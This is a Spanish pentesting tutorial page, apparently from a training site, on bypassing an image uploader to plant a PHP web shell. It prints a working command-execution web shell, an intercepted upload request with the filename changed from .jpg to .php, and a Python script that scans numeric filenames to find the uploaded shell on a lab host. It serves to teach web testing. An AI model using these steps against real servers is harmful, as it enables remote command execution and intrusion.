[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fP_b1m3WOwIfzUj7SBQdaUn6Zk5hdnkEWBxyKPi-bcm8":3},{"slug":4,"title":5,"summary":6,"category":7,"author":10,"image_url":16,"image_thumb_url":16,"published_at":17,"updated_at":18,"body_html":19,"keywords":20,"reading_time_minutes":21,"related_articles":22,"related_course":59,"related_specialty":79},"tecnicas-para-bypassear-un-uploader-y-subir-una-web-shell","Técnicas para Bypassear un Uploader y subir una Web Shell","Cuando se realiza un Pentesting Web, lo más importante es detectar vulnerabilidades que permitan ganar acceso al sistema, si el sitio web maneja usuarios, es probable que sea posible encontrar un uploader para subir alguna imagen de la cuenta de usuario, etc. En esta oportunidad veremos cómo Bypassear un uploader para subir una web shell.",{"slug":8,"name":9},"auditoria-aplicaciones-web","Pentesting a Aplicaciones Web",{"username":11,"name":12,"avatar_url":13,"headline":14,"aboutme":15},"saamux","Samuel Esteban","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBbDRJIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--6e60a39152819c1c857e0a1e157e99a5fe76ddf9\u002Fperfil.png","Senior Pentester","Actualmente me desempeño como Pentester...","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBanNPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--fbc9863b5b2f8ff9657cd3f29427303cc9e21c69\u002Fshutterstock_581478139.jpg","2017-07-27T23:34:01-04:00","2026-10-26T12:04:14-03:00","\u003Ch2>Introducción\u003C\u002Fh2>\r\n\u003Cp>Cuando se realiza un Pentesting Web, lo más importante es detectar vulnerabilidades que permitan ganar acceso al sistema, si el sitio web maneja usuarios, es probable que sea posible encontrar un uploader para subir alguna imagen de la cuenta de usuario, etc. En esta oportunidad veremos cómo Bypassear un uploader para subir una web shell.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FU7x4nVDUu2wwLcS3ZIZ8Fw8ddEjvIzZgZYMelJBFwnQn48UxvCIbfaGbSXn0SOX4vO9oOFpI3zwJyNc5r8Ck9eGb9ioguOeiS89zn062ZP5f-yJ1EMiqpvF0mwufDMO9SYh0f8lFgUNWqU4UBA\" width=\"589\" height=\"247\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cspan>\u003Cspan>Bypass Uploader – Foro Especializado\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Tenemos un uploader en una ruta específica. (En la vida real este estilo de formularios se puede detectar  por lo general dentro de una sesión, pero para efectos de prueba simularemos que ya estamos dentro de la sesión y se nos solicita subir una imagen). \u003C\u002Fp>\r\n\u003Cp>En primer lugar lo que haremos será subir una imagen válida para verificar que se pueden subir correctamente las imágenes.\u003C\u002Fp>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cdiv>\n\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FrMOPUVziaXiKnkPx7w5GEUuW2SPrLQKf6nXPDtF4L8uzM6OLWkJ2ysqLNWpMpEtFIn_RG4kz32Ap01ZYnD3mvLWBvCPjFZSvr1LR6ccDdo0v6knra1O1xyPaK0Y7GLh3hkTp85zIpwnCs6KO7g\" width=\"589\" height=\"225\">\u003C\u002Fspan>\u003C\u002Fspan>\u003Cspan>\u003C\u002Fspan>\n\u003C\u002Fdiv>\r\n\u003Cp>\u003Cem>\u003Cspan>\u003Cspan>Bypass Uploader – Intentando Subir Imagen Válida\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cdiv>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FaO5fsjD2Vhz-C8-1TUTHxGHyJfKbRhd0JHUp45YPN6BA4e8YRm2ujTTCMG3piDMAj9kEK17alJ803MybBykHPLzkPAVlaFPGKPN04WfgdHhpQMZNJKP0OXqdSBaAGuK794R3pZ0BucPreYlAMg\" width=\"589\" height=\"224\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fdiv>\r\n\u003Cdiv>\u003Cspan>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fdiv>\r\n\u003Cp>\u003Cem>\u003Cspan>Bypass Uploader – Imagen Subida Exitosamente\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cdiv>\r\n\u003Cp>A continuación, debemos encontrar el directorio, donde la imagen fue subida, para ello podemos utilizar diversas técnicas como por ejemplo hacer un proceso de Web Scraping, técnicas de Google Dorks, herramientas como dirbuster, burpsuite, etc.\u003C\u002Fp>\r\n\u003Cp>\u003Cbr>En este caso detectamos que el directorio donde se subían los archivos es uploads.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FETzXCR1MElKBAzsk2IuMdRM8vgE-DOMqIaqm8I0RzW7iZ3fVCU1qpoON4Vz4CZb79q-IcO8gLxW3m3_OnaggioJUMVLyAr_16Y6UFXzQBJPcawIwsbfCIxNehz3fyYpWGDCzq5C2P_whpcZ6Zw\" width=\"589\" height=\"262\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Ch4>Bypass Uploader – Directorio con Imagen Subida\u003C\u002Fh4>\r\n\u003Cp>Ahora vamos a empezar a intentar subir una shell simple php la cual es la siguiente:\u003C\u002Fp>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cpre>\u002F\u002Fshell.php\u003Cbr>&lt;?php\u003Cbr>$cmd = $_GET[‘cmd’];\u003Cbr>echo shell_exec($cmd);\u003Cbr>¿&gt;\u003C\u002Fpre>\r\n\u003Cp>Esta simple Web Shell, lo que hace es ejecutar comandos del sistema a través de la variable cmd. Intentaremos subir el archivo shell.php a ver qué sucede.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002F4l9eN6K7dufHwiPzbox7QxNx7rb9FkHvOREepDsNrDlfmkYBT5giW1-ZuaUWg4vPQrPVo-W6OOybYLJ255CPVSmSoCBUL-IVyltwcB5aQc-BMFPs526CIMuBQ5i4Pb6tn5NY02PKWos5448_5g\" width=\"589\" height=\"230\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cspan>\u003Cspan>Bypass Uploader – Intentando Subir Archivo PHP\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FsjLt0VThEbcK9fhIYoz6Sd6brMsLFYBi9Zj27w_BKBGfIxdGfZQf2PNOY8rjkZW6X1k6mCxfzPdOsGvY0F3NneoNcSXbZK8wwVUOInsAXp34k35LKvL8wtlKSuDoEEccgX3rd2cIBirkZCnSXQ\" width=\"589\" height=\"243\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Bypass Uploader – Archivo NO Válido\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Lo que haremos, será editar el archivo y agregar la extensión jpg , quedando de la forma shell.php.jpg, finalmente intentamos subir el archivo. Utilizaremos el plugin de Firefox Tamper Data, para capturar la trama de esta petición y modificarla antes de que llegue al servidor. Una vez cargada la imagen, en Tamper Data seleccionamos la opción Comenzar Modificación, esta opción nos permitirá capturar todas las peticiones enviadas al servidor.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002Fal6_xzY-zBU6H1wpvy3ACt4kjLDpJnuH8_YlZAChyo3TLna8HDJ3wfQlSnerDUMqlvDwrbJsQC1TawphzADtiPJgQ0VrU6wXYBGw7uwj_KVcY1ClTtRkpCQPyOQoB4X6D3TfdI8vG5d5P6yhDQ\" width=\"589\" height=\"234\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003C\u002Fdiv>\r\n\u003Cp>\u003Cem>\u003Cspan>Bypass Uploader – Tamper Data\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Posteriormente presionamos el botón de Submit del formulario web, Tamper Data nos preguntará si deseamos Modificar la petición, presionamos Modificar y observamos lo siguiente.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FgN3yIPUMVQVMNxFZyIvli8beqTeVH9BVP8Gma0rtZkUD6WjxQJso2GXvMGLgXNV53Te5jp8dJc9vJJa2_uH8QHBQ3zvowX9jIV8_vFjhmk8S02oPoEEh6ogEXstD14-P5rCC0ILy5CNIh2sr6w\" width=\"589\" height=\"266\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Bypass Uploader – Trama POST Uploader\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Lo que debemos hacer es cambiar shell.php.jpg por shell.php y posteriormente presionamos aceptar.\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Actual\u003C\u002Fp>\r\n\u003Cpre>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003Cspan>-----------------------------43489332500\\r\\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php.jpg\"\\r\\nContent-Type: image\u002Fjpeg\\r\\n\\r\\n&lt;?php\\n\\n$cmd = $_GET['cmd'];\\n\\necho shell_exec($cmd);\\n\\n?&gt;\\n\\r\\n-----------------------------43489332500\\r\\nContent-Disposition: form-data; name=\"submit\"\\r\\n\\r\\nSubmit\\r\\n-----------------------------\u003C\u002Fspan>\u003C\u002Fpre>\r\n\u003Cdiv>\r\n\u003Cpre>\u003Cspan>-----------------------------43489332500\\r\\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\\r\\nContent-Type: image\u002Fjpeg\\r\\n\\r\\n&lt;?php\\n\\n$cmd = $_GET['cmd'];\\n\\necho shell_exec($cmd);\\n\\n?&gt;\\n\\r\\n-----------------------------43489332500\\r\\nContent-Disposition: form-data; name=\"submit\"\\r\\n\\r\\nSubmit\\r\\n-----------------------------\u003C\u002Fspan>\u003C\u002Fpre>\r\n\u003Cdiv>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002F3xVXAqM3zjjANevmGbqFsLVLC8LMzXeLm8Ij8qFYYA_4EcCFe-BvB-NCjYE2CpKfQE9mrZdWQXzPlt_3il6AcpvxS4shYyYWXrYuPMaWuksEBECS9aJPsOa_wAWAawM6doOFmoOCwt1hTctZ-g\" width=\"589\" height=\"239\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fdiv>\r\n\u003Cdiv>\u003Cspan>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fdiv>\r\n\u003Cp>\u003Cem>\u003Cspan>Bypass Uploader – web shell subida con éxito\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cdiv>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fdiv>\r\n\u003Cp>\u003Cspan>La Web Shell fue subida con éxito. Esto se debe a que el programador no realizó una validación de tipos de datos POST la subida del archivo.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cdiv>\u003Cspan>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fdiv>\r\n\u003Cdiv>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002F3tOKBj9QZjAfsoIFKCfb2Kv1SOefc3Jj71Nifx5rvcRd7P_IVMlQdIfw4MTbErXAMCUbr8Gz_y-x6tfR7_eM4C0V7dR64C1cvgoGNXXWyVTm6ciYAgerycx7sQONaDYzdoeQ--_DS7oosiDzVQ\" width=\"589\" height=\"180\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fdiv>\r\n\u003C\u002Fdiv>\r\n\u003Cdiv>\r\n\u003Cp>\u003Cem>Bypass Uploader – web shell en el servidor\u003C\u002Fem>\u003Cbr>\u003Cbr>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Finalmente ejecutamos la Web Shell.\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003C\u002Fdiv>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cdiv>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FYQSi_Y1Hnhr4zYExVlB68Rz1ks0mfMvy_PKbNk_CguncBEXZzBvRi3MveF7xTduqYEUPtXITBZQYhfqQkz5IC5kIJqFxQ374MC6EgclcYEB0f_8SAT4pg6o-3qhREImv7zmtYCoe8YOv1h0UEw\" width=\"589\" height=\"271\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fdiv>\r\n\u003Cdiv>\r\n\u003Cp>\u003Cem>Bypass Uploader – web shell en el servidor\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Ahora tenemos el siguiente escenario:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cdiv>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FCgw-j-UcJbtmkh99riHTGvEDxkiQh7NwoT18Uw9zHVWdlHggdbloAWjPDZmnTdYAziBkW4sYn-HigL2xLWndu8wM35R6k_m-2MDMN_ahLxB2WQEQ5Pt-CJUQ42w_0XGX9Pn78tWxHHfz413AsQ\" width=\"589\" height=\"273\">\u003C\u002Fspan>\u003C\u002Fdiv>\r\n\u003C\u002Fdiv>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Bypass Uploader – Nuevo Escenario\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>Subimos el archivo Web Shell de la misma forma que el anterior:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FpH4sfym2Ud6ixCTyPemS0dMW2cD4JYbTTeWSInx5el7VCsUBqmET6ODS8dFVeIuNPHa2Ztd6qj5jQ-ZentEz49n3onU7UYG1mzqLCtfAgYq6JvR9G2jNpP3HxRqevp_FunRLzyXK4O1AdFIoxw\" width=\"589\" height=\"267\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Bypass Uploader – Subiendo Archivo\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Acá nos damos cuenta de que el nombre del archivo subido no nos aparece. Si vamos a la ruta uploads con el nombre del archivo shell.php tenemos lo siguiente:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FQONOt9AAX5MHyfl4O3OcKWuweoKLNW-6SM6ULLZhdeHTNkRYxt0Gi1BCsXg65YmSNYr161CGH-1mbHdampzGVLl8gJ0Xkn3zKQuM-Q_-njE5itTlZL5I9VYw-ByOQGw4dtYXhIw20CK_FfFxeg\" width=\"589\" height=\"156\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Bypass Uploader – Archivo shell.php no encontrado\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>El archivo no se encuentra en la ruta uploads, ahora vamos a la ruta uploads para poder ver nuestro archivo y nos percatamos de lo siguiente:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FzqpNcu0xWxI7YnFkjuDAT5QczkMC2q1eDoN1oBlK3KkF0EV0sFtVDpTQpnqzjDm23N_5e2v7XJ-6TyFjiXCpdfgjOLFyLIdj9jKjGgJLrOrr68_oBdaWtWcHm10S5d9iCAmyN5JfELuGuNKBwA\" width=\"589\" height=\"143\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Bypass Uploader – Directorio no legible para el usuario final\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>No es posible listar los archivos del servidor. Si volvemos al menú principal, tenemos una imagen que corresponde al logo de BacktrackAcademy, al abrirlo en el browser:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FmwiaEBMS6kOvp516i0S7utV8OjwJxF9Pa8UaqRK3nY7SHLaVoVGO7t1wGXYzk8txCVKeKI3jeSRTGfAdW8eumFK-gZIIW5ZbgcGu9BU5mprBzEfQgbIOjM5cAhR7AtCfrrCWHF75PONqqGiDVg\" width=\"589\" height=\"192\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Bypass Uploader – Imagen Backtrack Academy\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Nos percatamos que el archivo de imagen de bta (Backtrack Academy) es un número, por ende podríamos intentar detectar nuestra Web Shell, a través de una secuencia numérica con la extensión .php. Para automatizar este proceso lo haremos con Python.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>#!\u002Fusr\u002Fbin\u002Fpython\u003Cbr>#exploitShell.py\u003Cbr>import requests\u003Cbr>for i in range(23451, 30000):\u003Cbr>\u003Cspan> \u003C\u002Fspan>website = \"http:\u002F\u002F192.168.206.130\u002Fuploads\u002F\"+str(i)+\".php\"\u003Cbr>\u003Cspan> \u003C\u002Fspan>response = requests.get(website)\u003Cbr>\u003Cspan> \u003C\u002Fspan>if response.status_code == 200:\u003Cbr>\u003Cspan> \u003C\u002Fspan>print \"[+]Probable Web Shell, verificar manualmente..[+]\"\u003Cspan> \u003Cbr>\u003C\u002Fspan>\u003Cspan> \u003C\u002Fspan>print website\u003Cbr>\u003Cspan> \u003C\u002Fspan>break\u003Cbr>\u003Cspan> \u003C\u002Fspan>else:\u003Cbr>\u003Cspan> \u003C\u002Fspan>print \"Not Found\"\u003C\u002Fpre>\r\n\u003Cdiv>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FEqbJuU_XZyhXp8CCaPqc-fjyGFGNYuAUVefvxYcSdnh3uz7TFI4smtBrQ57Odcxjs1tMsL_4FxftayyoYTt-8YGSDWw4H15tClnhLE_ubGY4iZgDTW4owUjW9PGOv0M1LBV9bUEreukv3Hx9jQ\" width=\"576\" height=\"217\">\u003C\u002Fspan>\u003C\u002Fdiv>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cp>\u003Cem>Bypass Uploader – Web Shell Detectada\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Finalmente verificamos manualmente si se trata de la Web Shell.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FUmm1pWNJka4MXx32TfMSz8gybAD2AKc1WJN3RgOXm7mV7K19Q_rkRpi8WWvyKRMCbPMYNQCMvu_DhxjvK-W6qnYwSp9i2Jmt9VP7njKEDVPbJF4sbKzt5D88PSxkzRqmxVZvIavk488iRrXNPA\" width=\"605\" height=\"114\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Bypass Uploader – Web Shell en el Servidor\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Efectivamente hemos detectado la Web Shell, como se puede ver en la imagen anterior a través del script se logró detectar el archivo malicioso en el Servidor Web.\u003C\u002Fp>","web shell, bypassear",4,[23,35,47],{"slug":24,"title":25,"summary":26,"category":27,"author":28,"image_url":32,"image_thumb_url":32,"published_at":33,"updated_at":34},"sqlmap-ejemplo-con-metasploitable2","Sqlmap - ejemplo con metasploitable2","Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":31},"coldd","Martin Frias",null,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdjRPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--514529c30f11596b49003fc5bd68b363e922629b\u002Fshutterstock_1085444453.jpg","2020-09-23T14:04:11-03:00","2026-10-26T11:01:19-03:00",{"slug":36,"title":37,"summary":38,"category":39,"author":40,"image_url":44,"image_thumb_url":44,"published_at":45,"updated_at":46},"portainer-gestor-web-para-docker","Portainer es una herramienta web open-source: Gestor Web para Docker","En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.",{"slug":8,"name":9},{"username":41,"name":42,"avatar_url":43},"damch","Javier Candia","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBam9KIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--036416498d87c59fa3f0ac1f5e0a08336b65faf5\u002Fdescarga.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdnNPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--f33dca4def55d322137830da440c14fbc9abbd47\u002Fshutterstock_721673605.jpg","2020-08-31T12:17:41-04:00","2026-10-26T12:22:47-03:00",{"slug":48,"title":49,"summary":50,"category":51,"author":52,"image_url":56,"image_thumb_url":56,"published_at":57,"updated_at":58},"evillimiter","Evil Limiter","Si se encuentra con un compañero de cuarto que acapara el ancho de banda de datos limitado con videojuegos o descubre que un vecino se ha invitado a su red Wi-Fi, puede recuperar fácilmente el control de su acceso a Internet. Evil Limiter hace esto al permitirle controlar la velocidad de bits de cualquier dispositivo en la misma red que usted, lo que le permite reducir o incluso detener la velocidad de transferencia de datos por completo.",{"slug":8,"name":9},{"username":53,"name":54,"avatar_url":55},"Erik172","Erik Garcia","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBc1lSIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e703ff6245d2a783835ef18906375a5246ad1b84\u002Fgorickyourself.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdXdPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--79934810f6a5f794a404634540a7b200a27853e6\u002Fshutterstock_179770802.jpg","2020-05-12T14:50:51-04:00","2026-10-26T14:37:08-03:00",{"slug":60,"title":61,"summary":62,"level":63,"specialty":64,"category":67,"instructor":68,"image_url":72,"image_thumb_url":72,"duration_seconds":73,"lessons_count":74,"students_count":75,"is_free":76,"coming_soon":77,"updated_at":78},"retos-hacking-web","Retos Hacking Web","Aprende técnicas de Web Hacking con laboratorios reales las 24 horas.","Basicos",{"slug":65,"name":66},"web-application-testing-wat","Web Application Testing",{"slug":8,"name":9},{"username":69,"name":70,"avatar_url":71},"Rodolfo","Rodolfo Cecena","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBanNGIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2097f10306a2b3955ed91f935c2c204cee999900\u002Frodolfo.jpg","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZzhOIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2cf209dab21946647599db6af552f4c7be69a077\u002FRETOS-HACKING-01.png",9027,20,38321,true,false,"2025-02-15T00:31:58-03:00",{"slug":65,"name":66,"summary":80,"level":81,"courses_count":82,"total_duration_seconds":83,"is_free":77,"image_url":84,"icon_url":85,"wallpaper_url":86,"updated_at":87},"Las aplicaciones web son las solicitadas por el mercado, una mala configuración o práctica puede comprometer una página web y dejarla expuesta a ataques como una inyección sql, la mayoría de páginas web están creadas…","Avanzado",12,148188,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaVVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--3da0fc1100f4cbea608297447bf7820177f5603b\u002FWeb-Aplication-Testing-02.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaXNQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--72bafcc13a30961fa0d390b3685b3450726cdf5a\u002FWeb-Aplication-Testing.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBakVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e43f452a65e4221aa712798b9da4c14461c4bf8d\u002FWeb-Aplication-Testing-02.png","2021-05-17T15:38:02-04:00"]